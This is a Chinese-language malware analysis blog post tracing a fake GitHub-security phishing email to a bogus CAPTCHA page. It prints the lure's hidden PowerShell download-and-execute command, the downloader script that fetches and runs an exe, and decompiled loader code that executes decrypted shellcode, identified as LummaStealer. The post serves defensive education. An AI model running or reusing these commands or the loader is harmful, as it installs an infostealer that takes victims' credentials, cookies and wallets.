追踪来自Github安全团队钓鱼邮件

admin 2024年9月23日14:46:53评论23 views字数 3727阅读12分25秒阅读模式

part1

点击上方蓝字关注我们

往期推荐

一种新的EDR致盲技术

真主党寻呼机和对讲机同时爆炸背后的技术原理分析

无私钥绕过客户端非对称加密算法

利用Microsoft内核Applocker驱动漏洞过程

利用过期域名实现劫持海量邮件服务器和TLS/SSL证书

利用文件建立TCP连接隧道绕过防火墙

利用Windows引导程序安全加载DLL

EDR联动数据包封锁技术

一款舒适感极强的开源全流量监控工具

开源下一代Web应用程序防火墙(WAF)

开源XDR威胁检测响应平台

开源恶意流量检测系统

将二进制空间安全设为"星标⭐️"

第一时间收到文章更新

追踪来自Github安全团队钓鱼邮件
追踪来自Github安全团队钓鱼邮件

摘要

追踪来自Github安全团队钓鱼邮件
追踪来自Github安全团队钓鱼邮件

每一个开源项目开发人员,经常会收到Github的电子邮件, 其中大多数是代表Github用户发送的通知邮件, 这其中包括有人在存储库上创建的问题, 或者回复问题留下的评论,或者打开了一个拉取请求, 或者用户可能试图冒充Github官方诱骗和下载恶意软件。从长期混迹于Github的开发人员角度, 可能会认为自己永远不会遭受钓鱼攻击, 但在本篇文章中, 将揭示攻击者是怎样利用一个URL链接进行渗透。

追踪来自Github安全团队钓鱼邮件
追踪来自Github安全团队钓鱼邮件

初步分析

追踪来自Github安全团队钓鱼邮件
追踪来自Github安全团队钓鱼邮件

首先看一下以下这封看起来来自Github安全团队的邮件:

追踪来自Github安全团队钓鱼邮件

从这封邮件的内容来看, 大致意思是对方发现我的存储库中有安全漏洞, 然后访问 https://github-scanner.com这个网站获取如何修复该漏洞的详细方案。最后的署名是Github安全团队。从邮件标题和邮件内容的URL,再结合之前收到的邮件综合判断, 这封邮件不太正常。

打开virustotal.com,将该URL放上去进行扫描,结果如下:

追踪来自Github安全团队钓鱼邮件

果然是一个钓鱼性质的网站, 心里有底之后, 接下来访问钓鱼网站看看。

追踪来自Github安全团队钓鱼邮件
追踪来自Github安全团队钓鱼邮件

钓鱼网站分析

追踪来自Github安全团队钓鱼邮件
追踪来自Github安全团队钓鱼邮件

打开钓鱼网站, 显示了一个常规对话框, 如图:

追踪来自Github安全团队钓鱼邮件

该对话框比较常见,通常称为:CAPTCHA, 它是通过设计一些对人类简单但对机器很难处理的任务来区分用户是人类还是机器人。这种措施可以防止一些行为,例如:防止自动化攻击、防止垃圾内容、防止刷票或作弊行为、流量异常行为、网站安全措施等。

继续点击对话框中的链接, 以下的操作有点不同寻常:

追踪来自Github安全团队钓鱼邮件

按照我的思路,这里应该弹出图像识别对话框, 或者"我不是机器人"的复选框、或者文本验证码和滑动拼图等。

看来这里要露出真实面目了, 大致意思是让我打开"运行"对话框执行某些指令, 先将其复制到记事本看看内容。

追踪来自Github安全团队钓鱼邮件
追踪来自Github安全团队钓鱼邮件

恶意软件分析

追踪来自Github安全团队钓鱼邮件
追踪来自Github安全团队钓鱼邮件

粘贴过来的命令内容如下:

powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"

该命令的作用是启动一个新的 Windows PowerShell 进程并隐藏窗口,然后运行命令来下载脚本文件并执行它。iexInvoke-Expression的内置别名, iwrInvoke-WebRequest 。对于Linux 用户来说,这相当于调用curl | bash 。文件末尾有一条注释,由于 Windows 运行框的窗口大小有限,有效地隐藏了脚本的第一部分,因此用户只能看到以下内容:

追踪来自Github安全团队钓鱼邮件

最终还原的脚本如下所示:

$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe"
$filePath1 = "$env:TEMPSysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)Start-Process -FilePath $env:TEMPSysSetup.exe

该脚本非常简单,几乎没有任何混淆。其目的是下载文件l6E.exe ,将其另存为 <User Home>AppDataLocalTempSysSetup.exe ,然后运行该文件。

首先在 Windows 资源管理器中查看了 exe 程序,发现它有一个数字签名, 如图:

追踪来自Github安全团队钓鱼邮件

从上面的签名信息来看, 使用的证书来自 Spotify,但这里恶意二进制文件的签名是无效的, 这意味着这很可能只是从合法签名的 Spotify 二进制文件复制的假签名。

从这里可以看出, 恶意软件利用了Windows的两个弱点:

弱点一: 对于从互联网下载的二进制程序,Windows在运行带有无效代码签名的exe之前没有任何警告。

弱点二:删除Web标记非常容易,如果 .NET 库设置了该标志,攻击者就可以在启动进程之前轻松将其删除。

从原理角度, Windows是通过所谓的"Web标记"来去确定某些内容是否从Internet下载。通俗点讲, 就是在文件的元数据中设置一个小标记, 表明其来自互联网。浏览器和第三方软件可以设置该标志, 第三方软件可以查找该标志来更改设置以实现不同的行为。

根据以上原理,当使用浏览器下载恶意软件并尝试打开的时候, 会在对话框底部看到一个应用程序没有有效签名的对话框,如图:

追踪来自Github安全团队钓鱼邮件

但是使用PowerShell下载恶意软件就没有这个待遇了, 因为使用PowerShell下载,实际上是利用.NET Framework中的System.Net.WebClient类, 该类有一个方法,名为:DownloadFile, 它的作用是将文件下载到本地路径, 但该方法不会为下载文件设置上面提到的"Web标记"。

以下是恶意软件和使用.NET API下载文件的对比:

追踪来自Github安全团队钓鱼邮件

通过分析发现,l6E.exe似乎是一个.NET程序, 利用dotPeek进行反编译, 在代码中有两个地方很重要, 即:入口点和PersonalActivation方法。

入口点隐藏控制台窗口,在后台线程中调用PersonalActivation两次,然后使用VirtualProtect将内存区域标记为可执行文件,然后使用CallWindowProcW执行它。

private static void Main(string[] args)
{
  Resolver resolver = new Resolver("Consulter", 100);
  Program.FreeConsole();
  double num = (double) Program.UAdhuyichgAUIshuiAuis();
  Task.Run((Action) (() =>
  {
    Program.PersonalActivation(new List<int>(), Program.AIOsncoiuuA, Program.Alco);
    Program.PersonalActivation(new List<int>(), MoveAngles.userBuffer, MoveAngles.key);
  }
));
  Thread.Sleep(1000);
  uint ASxcgtjy = 0;
  Program.VirtualProtect(ref Program.AIOsncoiuuA[0], Program.AIOsncoiuuA.Length, 64U, ref ASxcgtjy);
  int index = 392;
  Program.CallWindowProcW(ref Program.AIOsncoiuuA[index], MoveAngles.userBuffer, 0, 0, 0);
}

PersonalActivation 函数接收一个列表和两个字节数组。列表参数没有被使用,第一个字节数组是数据缓冲区,第二个被标记为 key(密钥)看起来像是某种形式的解密器,但不清楚是什么算法。

这里做了一下处理, 注释掉对VirtualProtectCallWindowProcW两个调用, 并编译了其余代码并在调试器中运行,以便可以查看两个解密缓冲区的内容。第一个缓冲区包含对CreateProcess调用, 如图:

追踪来自Github安全团队钓鱼邮件

第二个缓冲区一看就比较熟悉了,如图:

追踪来自Github安全团队钓鱼邮件

现在大致可以知道, 代码顶部的大字节数组是一个“加密”的exe,该加载程序将其放入内存中,将其标记为可执行文件,然后执行它。

将两个程序直接扔给virustotal.com看看结果,如图:

追踪来自Github安全团队钓鱼邮件

追踪来自Github安全团队钓鱼邮件

其中看到一个关键字样:LUMMASTEALER,该恶意软件描述如下:

LummaStealer 是一种在 MaaS(恶意软件即服务)模型上运行的信息窃取程序。它可以提取各种敏感数据,包括登录凭据、cookie、浏览器历史记录以及信用卡或加密货币钱包详细信息。

往期推荐

Microsoft Windows IPv6 TCP/IP 远程执行漏洞Poc

监视篡改进程与Linux内核交互

一款开源持续更新的后渗透免杀框架

开源跨平台高颜值十六进制编辑器

Linux找回(破解)root账户密码的四种方法

湖北武汉某科技公司恶意软件调查分析

一款可绕过防火墙/DPI的隧道工具

八种绕过WAF防火墙的Payload混淆技术

从网络蠕虫身上提取了一堆好用的安全工具

最受黑客和安全专家青睐的10款搜索引擎

一种可绕过VPN加密直接获取明文流量的新型攻击技术

暗网排名Top10的搜索引擎

一款跨平台比VNC更丝滑的远程桌面管理工具

追踪来自Github安全团队钓鱼邮件

点个在看你最好看

追踪来自Github安全团队钓鱼邮件

原文始发于微信公众号(二进制空间安全):追踪来自Github安全团队钓鱼邮件

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月23日14:46:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   追踪来自Github安全团队钓鱼邮件http://cn-sec.com/archives/3195802.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息